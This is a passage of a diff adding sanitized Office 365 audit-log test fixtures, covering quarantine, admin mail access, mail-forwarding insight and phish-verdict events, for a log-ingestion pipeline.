\",\"ExtendedProperties\":[{\"Value\":\"1111111111111111\",\"Name\":\"KesMailId\"},{\"Value\":\"AAAAAAAA.BBBBBBBB.CCCCCCCC.DDDDDDDD.EEEEE\",\"Name\":\"FingerprintData\"},{\"Value\":\"Email\",\"Name\":\"SubmissionCategory\"},{\"Value\":\"NotSpam\",\"Name\":\"RescanVerdict\"},{\"Value\":\"Microsoft\",\"Name\":\"SubmissionSource\"},{\"Value\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Name\":\"SubmissionId\"},{\"Value\":\"Allow\",\"Name\":\"OriginalVerdict\"}],\"SubmissionConfidenceLevel\":\"1\",\"RecordType\":\"29\",\"SubmissionContentSubType\":\"MsftAndCustomMbxSubmission\",\"Language\":\"en\",\"Version\":\"1\",\"SubmitterId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"P1Sender\":\"sender@example.com\",\"P2SenderDomain\":\"example.com\",\"MessageDate\":\"2022-12-31T23:59:59\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"P1SenderDomain\":\"example.com\",\"Subject\":\"subject\",\"Workload\":\"SecurityComplianceCenter\",\"BCLValue\":\"0\",\"FilteringDate\":\"2022-12-31T23:59:59\",\"UserId\":\"user@example.com\",\"InternetMessageId\":\"\",\"KesMailId\":\"1111111111111111\",\"CreationTime\":\"2022-12-31T23:59:59\",\"SubmissionId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"SubmissionType\":\"0\",\"SubmissionContentType\":\"Mail\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"0\"}",
+ "outcome": "success",
+ "provider": "SecurityComplianceCenter",
+ "type": [
+ "info"
+ ]
+ },
+ "host": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "name": "example.com"
+ },
+ "o365": {
+ "audit": {
+ "BCLValue": "0",
+ "CreationTime": "2022-12-31T23:59:59",
+ "ExtendedProperties": {
+ "FingerprintData": "AAAAAAAA.BBBBBBBB.CCCCCCCC.DDDDDDDD.EEEEE",
+ "KesMailId": "1111111111111111",
+ "OriginalVerdict": "Allow",
+ "RescanVerdict": "NotSpam",
+ "SubmissionCategory": "Email",
+ "SubmissionId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "SubmissionSource": "Microsoft"
+ },
+ "FilteringDate": "2022-12-31T23:59:59.000Z",
+ "InternetMessageId": "",
+ "KesMailId": "1111111111111111",
+ "Language": "en",
+ "MessageDate": "2022-12-31T23:59:59",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "P1Sender": "sender@example.com",
+ "P1SenderDomain": "example.com",
+ "P2Sender": "sender name ",
+ "P2SenderDomain": "example.com",
+ "Recipients": [
+ "user@example.com"
+ ],
+ "RecordType": "29",
+ "RescanResult": {
+ "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "RescanVerdict": "NotSpam",
+ "Timestamp": "2022-12-31T23:59:59.000Z"
+ },
+ "SenderIP": "81.2.69.144",
+ "Subject": "subject",
+ "SubmissionConfidenceLevel": "1",
+ "SubmissionContentSubType": "MsftAndCustomMbxSubmission",
+ "SubmissionContentType": "Mail",
+ "SubmissionId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "SubmissionState": "Rescaned",
+ "SubmissionType": "0",
+ "SubmitterId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserId": "user@example.com",
+ "UserKey": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserType": "0",
+ "Version": "1"
+ }
+ },
+ "organization": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "related": {
+ "ip": [
+ "81.2.69.144"
+ ],
+ "user": [
+ "user"
+ ]
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "domain": "example.com",
+ "email": "user@example.com",
+ "id": "user@example.com",
+ "name": "user"
+ }
+ },
+ {
+ "@timestamp": "2022-12-31T23:59:59.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "email": {
+ "local_id": [
+ "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ ]
+ },
+ "event": {
+ "action": "Get-QuarantineMessage",
+ "category": [
+ "web"
+ ],
+ "code": "SecurityComplianceCenterEOPCmdlet",
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "kind": "event",
+ "original": "{\"CmdletVersion\":\"1.2\",\"Parameters\":\"-Identity \\\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\\dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\\"\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"ResultStatus\":\"Success\",\"UserKey\":\"account@example.com\",\"StartTime\":\"2022-12-31T23:59:59\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"Get-QuarantineMessage\",\"Workload\":\"SecurityComplianceCenter\",\"NonPIIParameters\":\"-Identity \\\"\\\"\",\"EffectiveOrganization\":\"example.com\",\"ClientApplication\":\"EMC\",\"UserServicePlan\":\"\",\"RecordType\":\"18\",\"Version\":\"1\",\"UserId\":\"account@example.com\",\"CreationTime\":\"2022-12-31T23:59:59\",\"SecurityComplianceCenterEventType\":\"0\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"2\"}",
+ "outcome": "success",
+ "provider": "SecurityComplianceCenter",
+ "type": [
+ "info"
+ ]
+ },
+ "host": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "name": "example.com"
+ },
+ "o365": {
+ "audit": {
+ "ClientApplication": "EMC",
+ "CmdletVersion": "1.2",
+ "CreationTime": "2022-12-31T23:59:59",
+ "EffectiveOrganization": "example.com",
+ "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "NonPIIParameters": "-Identity \"\"",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Parameters": {
+ "_raw": "-Identity \"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\\dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\""
+ },
+ "RecordType": "18",
+ "ResultStatus": "Success",
+ "SecurityComplianceCenterEventType": "0",
+ "StartTime": "2022-12-31T23:59:59.000Z",
+ "UserId": "account@example.com",
+ "UserKey": "account@example.com",
+ "UserType": "2",
+ "Version": "1"
+ }
+ },
+ "organization": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "related": {
+ "user": [
+ "account"
+ ]
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "domain": "example.com",
+ "email": "account@example.com",
+ "id": "account@example.com",
+ "name": "account"
+ }
+ },
+ {
+ "@timestamp": "2022-12-31T23:59:59.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "event": {
+ "action": "AdminMailAccess",
+ "category": [
+ "web"
+ ],
+ "code": "DataGovernance",
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "kind": "event",
+ "original": "{\"ObjectType\":\"EMail\",\"RecordType\":\"38\",\"Version\":\"1\",\"UserId\":\"account@example.com\",\"UserKey\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"CreationTime\":\"2022-12-31T23:59:59\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AdminMailAccess\",\"UserType\":\"2\",\"ExtendedProperties\":[{\"Value\":\"True\",\"Name\":\"DownloadEMail\"},{\"Value\":\"user@example.com\",\"Name\":\"MailboxId\"},{\"Value\":\"%3Cbase64%40example.com%3E\",\"Name\":\"InternetMessageId\"}],\"Workload\":\"SecurityComplianceCenter\"}",
+ "outcome": "success",
+ "provider": "SecurityComplianceCenter",
+ "type": [
+ "info"
+ ]
+ },
+ "host": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "name": "example.com"
+ },
+ "o365": {
+ "audit": {
+ "CreationTime": "2022-12-31T23:59:59",
+ "ExtendedProperties": {
+ "DownloadEMail": "True",
+ "InternetMessageId": "%3Cbase64%40example.com%3E",
+ "MailboxId": "user@example.com"
+ },
+ "ObjectType": "EMail",
+ "RecordType": "38",
+ "UserId": "account@example.com",
+ "UserKey": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserType": "2",
+ "Version": "1"
+ }
+ },
+ "organization": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "related": {
+ "user": [
+ "account"
+ ]
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "domain": "example.com",
+ "email": "account@example.com",
+ "id": "account@example.com",
+ "name": "account"
+ }
+ },
+ {
+ "@timestamp": "2022-12-31T23:59:59.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "event": {
+ "action": "InsightGenerated",
+ "category": [
+ "web"
+ ],
+ "code": "SecurityComplianceInsights",
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "kind": "event",
+ "original": "{\"AdditionalData\":[{\"Value\":\"5555\",\"Name\":\"InsightType\"}],\"Description\":\"X new remote domain(s) started receiving forwarded emails from your organization.\",\"Category\":\"MailFlow\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserKey\":\"SecurityComplianceInsights\",\"InsightId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Severity\":\"High\",\"Operation\":\"InsightGenerated\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Workload\":\"SecurityComplianceCenter\",\"Name\":\"New domains being forwarded emails\",\"RecordType\":\"42\",\"Version\":\"1\",\"UserId\":\"SecurityComplianceInsights\",\"CreationTime\":\"2022-12-31T23:59:59\",\"InsightData\":[{\"Type\":\"None\"}],\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"4\"}",
+ "outcome": "success",
+ "provider": "SecurityComplianceCenter",
+ "type": [
+ "info"
+ ]
+ },
+ "host": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "o365": {
+ "audit": {
+ "AdditionalData": [
+ {
+ "Name": "InsightType",
+ "Value": "5555"
+ }
+ ],
+ "Category": "MailFlow",
+ "CreationTime": "2022-12-31T23:59:59",
+ "Description": "X new remote domain(s) started receiving forwarded emails from your organization.",
+ "InsightData": [
+ {
+ "Type": "None"
+ }
+ ],
+ "InsightId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Name": "New domains being forwarded emails",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "RecordType": "42",
+ "Severity": "High",
+ "UserId": "SecurityComplianceInsights",
+ "UserKey": "SecurityComplianceInsights",
+ "UserType": "4",
+ "Version": "1"
+ }
+ },
+ "organization": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "id": "SecurityComplianceInsights"
+ }
+ },
+ {
+ "@timestamp": "2022-12-31T23:59:59.000Z",
+ "ecs": {
+ "version": "8.11.0"
+ },
+ "event": {
+ "action": "AirAdminActionInvestigationData",
+ "category": [
+ "web"
+ ],
+ "code": "AirAdminActionInvestigation",
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "kind": "event",
+ "original": "{\"UserKey\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Activity\":\"\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"AirAdminActionInvestigationData\",\"InvestigationUrn\":\"None\",\"Workload\":\"SecurityComplianceCenter\",\"AirAdminActionSource\":\"3\",\"Submitter\":\"account@example.com\",\"RecordType\":\"89\",\"UserId\":\"account@example.com\",\"SubAirAdminActionTypeMail\":\"6\",\"AirAdminActionType\":\"1\",\"CreationTime\":\"2022-12-31T23:59:59\",\"Approver\":\"account@example.com\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":\"2\",\"BulkApprovalId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\"}",
+ "outcome": "success",
+ "provider": "SecurityComplianceCenter",
+ "type": [
+ "info"
+ ]
+ },
+ "host": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "name": "example.com"
+ },
+ "o365": {
+ "audit": {
+ "AirAdminActionSource": "3",
+ "AirAdminActionType": "1",
+ "Approver": "account@example.com",
+ "BulkApprovalId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "CreationTime": "2022-12-31T23:59:59",
+ "InvestigationUrn": "None",
+ "RecordType": "89",
+ "SubAirAdminActionTypeMail": "6",
+ "Submitter": "account@example.com",
+ "UserId": "account@example.com",
+ "UserKey": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserType": "2"
+ }
+ },
+ "organization": {
+ "id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb"
+ },
+ "related": {
+ "user": [
+ "account"
+ ]
+ },
+ "tags": [
+ "preserve_original_event"
+ ],
+ "user": {
+ "domain": "example.com",
+ "email": "account@example.com",
+ "id": "account@example.com",
+ "name": "account"
+ }
+ }
+ ]
+}
diff --git a/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-threatintelligence.json b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-threatintelligence.json
new file mode 100644
index 00000000000..2edf9c23a8e
--- /dev/null
+++ b/packages/o365/data_stream/audit/_dev/test/pipeline/test-wl-threatintelligence.json
@@ -0,0 +1,304 @@
+{
+ "events": [
+ {
+ "event": {
+ "original": "{\"Policy\":\"HighConfidencePhish\",\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"SystemOverrides\":[{\"Details\":\"Exchange transport rule\",\"FinalOverride\":\"No\",\"Source\":\"Tenant\",\"Result\":\"Block\"}],\"PhishConfidenceLevel\":\"High\",\"DeliveryAction\":\"Blocked\",\"MessageTime\":\"2021-12-31T23:59:59\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"TIMailData\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"PolicyAction\":\"Quarantine\",\"Verdict\":\"Phish\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"sender@example.com\",\"DetectionMethod\":\"Fingerprint matching\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"Fail\",\"Name\":\"SPF\"},{\"Value\":\"None\",\"Name\":\"DKIM\"},{\"Value\":\"Permanent error\",\"Name\":\"DMARC\"},{\"Value\":\"fail\",\"Name\":\"Comp Auth\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish\",\"Subject\":\"subject\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Inbound\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"Quarantine\",\"InternetMessageId\":\"\",\"UserId\":\"ThreatIntel\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"Quarantine\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}"
+ },
+ "o365audit": {
+ "Policy": "HighConfidencePhish",
+ "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]",
+ "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Recipients": [
+ "user@example.com"
+ ],
+ "UserKey": "ThreatIntel",
+ "SystemOverrides": [
+ {
+ "Details": "Exchange transport rule",
+ "FinalOverride": "No",
+ "Source": "Tenant",
+ "Result": "Block"
+ }
+ ],
+ "PhishConfidenceLevel": "High",
+ "DeliveryAction": "Blocked",
+ "MessageTime": "2021-12-31T23:59:59",
+ "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Operation": "TIMailData",
+ "P2Sender": "sender@example.com",
+ "RecordType": 28,
+ "Version": 1,
+ "PolicyAction": "Quarantine",
+ "Verdict": "Phish",
+ "SenderIp": "81.2.69.144",
+ "P1Sender": "sender@example.com",
+ "DetectionMethod": "Fingerprint matching",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890",
+ "AuthDetails": [
+ {
+ "Value": "Fail",
+ "Name": "SPF"
+ },
+ {
+ "Value": "None",
+ "Name": "DKIM"
+ },
+ {
+ "Value": "Permanent error",
+ "Name": "DMARC"
+ },
+ {
+ "Value": "fail",
+ "Name": "Comp Auth"
+ }
+ ],
+ "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish",
+ "Subject": "subject",
+ "Workload": "ThreatIntelligence",
+ "Directionality": "Inbound",
+ "DetectionType": "Inline",
+ "OriginalDeliveryLocation": "Quarantine",
+ "InternetMessageId": "",
+ "UserId": "ThreatIntel",
+ "CreationTime": "2021-12-31T23:59:59",
+ "LatestDeliveryLocation": "Quarantine",
+ "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserType": 4
+ }
+ },
+ {
+ "event": {
+ "original": "{\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"PhishConfidenceLevel\":\"High\",\"DeliveryAction\":\"Delivered\",\"Operation\":\"TIMailData\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"MessageTime\":\"2021-12-31T23:59:59\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"Verdict\":\"Phish\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"sender@example.com\",\"DetectionMethod\":\"URL detonation reputation\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"Pass\",\"Name\":\"SPF\"},{\"Value\":\"Fail\",\"Name\":\"DKIM\"},{\"Value\":\"Pass\",\"Name\":\"DMARC\"},{\"Value\":\"pass\",\"Name\":\"Comp Auth\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish\",\"Subject\":\"subject\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Inbound\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"JunkFolder\",\"UserId\":\"ThreatIntel\",\"InternetMessageId\":\"\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"JunkFolder\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}"
+ },
+ "o365audit": {
+ "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]",
+ "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Recipients": [
+ "user@example.com"
+ ],
+ "UserKey": "ThreatIntel",
+ "PhishConfidenceLevel": "High",
+ "DeliveryAction": "Delivered",
+ "Operation": "TIMailData",
+ "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "MessageTime": "2021-12-31T23:59:59",
+ "P2Sender": "sender@example.com",
+ "RecordType": 28,
+ "Version": 1,
+ "Verdict": "Phish",
+ "SenderIp": "81.2.69.144",
+ "P1Sender": "sender@example.com",
+ "DetectionMethod": "URL detonation reputation",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890",
+ "AuthDetails": [
+ {
+ "Value": "Pass",
+ "Name": "SPF"
+ },
+ {
+ "Value": "Fail",
+ "Name": "DKIM"
+ },
+ {
+ "Value": "Pass",
+ "Name": "DMARC"
+ },
+ {
+ "Value": "pass",
+ "Name": "Comp Auth"
+ }
+ ],
+ "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish",
+ "Subject": "subject",
+ "Workload": "ThreatIntelligence",
+ "Directionality": "Inbound",
+ "DetectionType": "Inline",
+ "OriginalDeliveryLocation": "JunkFolder",
+ "UserId": "ThreatIntel",
+ "InternetMessageId": "",
+ "CreationTime": "2021-12-31T23:59:59",
+ "LatestDeliveryLocation": "JunkFolder",
+ "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserType": 4
+ }
+ },
+ {
+ "event": {
+ "original": "{\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"PhishConfidenceLevel\":\"Normal\",\"DeliveryAction\":\"Delivered\",\"MessageTime\":\"2021-12-31T23:59:59\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Operation\":\"TIMailData\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"Verdict\":\"Phish\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"p1sender@example.com\",\"DetectionMethod\":\"Spoof external domain\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"Pass\",\"Name\":\"SPF\"},{\"Value\":\"Fail\",\"Name\":\"DKIM\"},{\"Value\":\"Fail\",\"Name\":\"DMARC\"},{\"Value\":\"fail\",\"Name\":\"Comp Auth\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish\",\"Subject\":\"subject\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Inbound\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"Inbox\",\"UserId\":\"ThreatIntel\",\"InternetMessageId\":\"\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"Inbox\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}"
+ },
+ "o365audit": {
+ "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]",
+ "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Recipients": [
+ "user@example.com"
+ ],
+ "UserKey": "ThreatIntel",
+ "PhishConfidenceLevel": "Normal",
+ "DeliveryAction": "Delivered",
+ "MessageTime": "2021-12-31T23:59:59",
+ "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Operation": "TIMailData",
+ "P2Sender": "sender@example.com",
+ "RecordType": 28,
+ "Version": 1,
+ "Verdict": "Phish",
+ "SenderIp": "81.2.69.144",
+ "P1Sender": "p1sender@example.com",
+ "DetectionMethod": "Spoof external domain",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890",
+ "AuthDetails": [
+ {
+ "Value": "Pass",
+ "Name": "SPF"
+ },
+ {
+ "Value": "Fail",
+ "Name": "DKIM"
+ },
+ {
+ "Value": "Fail",
+ "Name": "DMARC"
+ },
+ {
+ "Value": "fail",
+ "Name": "Comp Auth"
+ }
+ ],
+ "EventDeepLink": "https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish",
+ "Subject": "subject",
+ "Workload": "ThreatIntelligence",
+ "Directionality": "Inbound",
+ "DetectionType": "Inline",
+ "OriginalDeliveryLocation": "Inbox",
+ "UserId": "ThreatIntel",
+ "InternetMessageId": "",
+ "CreationTime": "2021-12-31T23:59:59",
+ "LatestDeliveryLocation": "Inbox",
+ "Id": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "UserType": 4
+ }
+ },
+ {
+ "event": {
+ "original": "{\"Policy\":\"Phish\",\"Connector\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]\",\"NetworkMessageId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"Recipients\":[\"user@example.com\"],\"UserKey\":\"ThreatIntel\",\"PhishConfidenceLevel\":\"Normal\",\"DeliveryAction\":\"DeliveredAsSpam\",\"Operation\":\"TIMailData\",\"OrganizationId\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"MessageTime\":\"2021-12-31T23:59:59\",\"P2Sender\":\"sender@example.com\",\"RecordType\":28,\"Version\":1,\"PolicyAction\":\"MoveToJmf\",\"Verdict\":\"Phish\",\"SenderIp\":\"81.2.69.144\",\"P1Sender\":\"p1sender@example.com\",\"DetectionMethod\":\"URL malicious reputation\",\"ObjectId\":\"dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890\",\"AuthDetails\":[{\"Value\":\"Fail\",\"Name\":\"SPF\"},{\"Value\":\"Fail\",\"Name\":\"DKIM\"},{\"Value\":\"None\",\"Name\":\"DMARC\"},{\"Value\":\"none\",\"Name\":\"Comp Auth\"}],\"EventDeepLink\":\"https://security.microsoft.com/?hash=/threatexplorer?messageParams=dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb,dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890-1,2021-12-31T00:00:00,2021-12-31T23:59:59&view=Phish\",\"Subject\":\"subject\",\"Workload\":\"ThreatIntelligence\",\"Directionality\":\"Inbound\",\"DetectionType\":\"Inline\",\"OriginalDeliveryLocation\":\"JunkFolder\",\"UserId\":\"ThreatIntel\",\"InternetMessageId\":\"\",\"CreationTime\":\"2021-12-31T23:59:59\",\"LatestDeliveryLocation\":\"JunkFolder\",\"Id\":\"dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb\",\"UserType\":4}"
+ },
+ "o365audit": {
+ "Policy": "Phish",
+ "Connector": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb: [Inbound from dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb]",
+ "NetworkMessageId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "Recipients": [
+ "user@example.com"
+ ],
+ "UserKey": "ThreatIntel",
+ "PhishConfidenceLevel": "Normal",
+ "DeliveryAction": "DeliveredAsSpam",
+ "Operation": "TIMailData",
+ "OrganizationId": "dddddddd-cccc-eeee-aaaa-bbbbbbbbbbbb",
+ "MessageTime": "2021-12-31T23:59:59",
+ "P2Sender": "sender@example.com",
+ "RecordType": 28,
+ "Version": 1,
+ "PolicyAction": "MoveToJmf",
+ "Verdict": "Phish",
+ "SenderIp": "81.2.69.144",
+ "P1Sender": "p1sender@example.com",
+ "DetectionMethod": "URL malicious reputation",
+ "ObjectId": "dddddddd-cccc-eeee-aaaa-abcdefabcdef12345678901234567890",
+ "AuthDetails": [
+ {
+ "Value": "Fail",
+ "Name": "SPF"
+ },
+ {
+ "Value": "Fail",
+ "Name": "DKIM"
+ },
+ {
+ "Value": "None",
+ "Name": "DMARC"
+ },
+ {
+ "Value": "none",
+ "Name": "Comp Auth"
+ }
+ ],
